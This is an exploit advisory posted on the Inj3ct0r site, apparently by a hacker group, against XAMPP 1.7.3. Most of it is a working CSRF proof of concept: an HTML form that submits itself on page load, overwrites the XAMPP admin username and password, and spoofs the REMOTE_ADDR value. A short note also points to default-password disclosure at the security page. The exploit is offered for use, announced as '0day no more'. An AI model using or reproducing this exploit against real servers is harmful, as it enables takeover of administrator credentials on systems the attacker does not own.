Xampp 1.7.3 CSRF and Password disclosure Vulnerability
<!DOCTYPE HTML PUBLIC ‘-//W3C//DTD HTML 4.01 Transitional//EN’><html><head><meta http-equiv=’Content-Type’ content=’text/html; charset=windows-1251′><title>Xampp 1.7.3 CSRF and Password disclosure Vulnerability </title><link rel=’shortcut icon’ href=’/favicon.ico’ type=’image/x-icon’><link rel=’alternate’ type=’application/rss+xml’ title=’Inj3ct0r RSS’ href=’/rss’></head><body><pre>======================================================
Xampp 1.7.3 CSRF and Password disclosure Vulnerability
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0 [+] Site : Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com 1
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0 I’m Sid3^effects member from Inj3ct0r Team 1
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Name : Xampp 1.7.3 CSRF and Password disclosure Vulnerability
Date : july 3,2010
Critical Level : HIGH
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_
greetz to :www.topsecure.net ,All ICW members and my friends
luv y0 guyz
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This exploit was found in the older version which seems to be unfixed in Xampp 1.7.3 also
Xploit:CSRF Vulnerability
<html>
<head><title>Xampp 1.7.3 CSRF By Sid3^effects </title>
</html>
<body><center><h1><strong>Xampp 1.7.3 CSRF By Sid3^effects </strong></h1>
<body><center><h2><strong>Inj3ct0r Team</strong></h2>
<form action=’http://127.0.0.1/security/xamppsecurity.php’ method=’POST’ id=1>
<input type="hidden" name="_SERVER[REMOTE_ADDR]" value="127.0.0.1">
<input type=hidden name="xamppuser" value=admin >
<input type=hidden name="xampppasswd" value=password>
<input type=submit>
</form>
<script>
document.getElementById(1).submit();
</script>
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Xploit:Password disclosure Vulnerability
XAMPP Insecure Default Password Disclosure Vulnerability allows attackers to access the password which be available by default on affected computers
Demo url : http://www.example.com/xampp/security.php
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# 0day no more
# Sid3^effects
# <a href=’http://inj3ct0r.com/’>Inj3ct0r.com</a> [2010-07-03]</pre><script type=’text/javascript’>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src=’" + gaJsHost + "google-analytics.com/ga.js’ type=’text/javascript’%3E%3C/script%3E"));</script><script type=’text/javascript’>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
Source: http://inj3ct0r.com/exploits/13089

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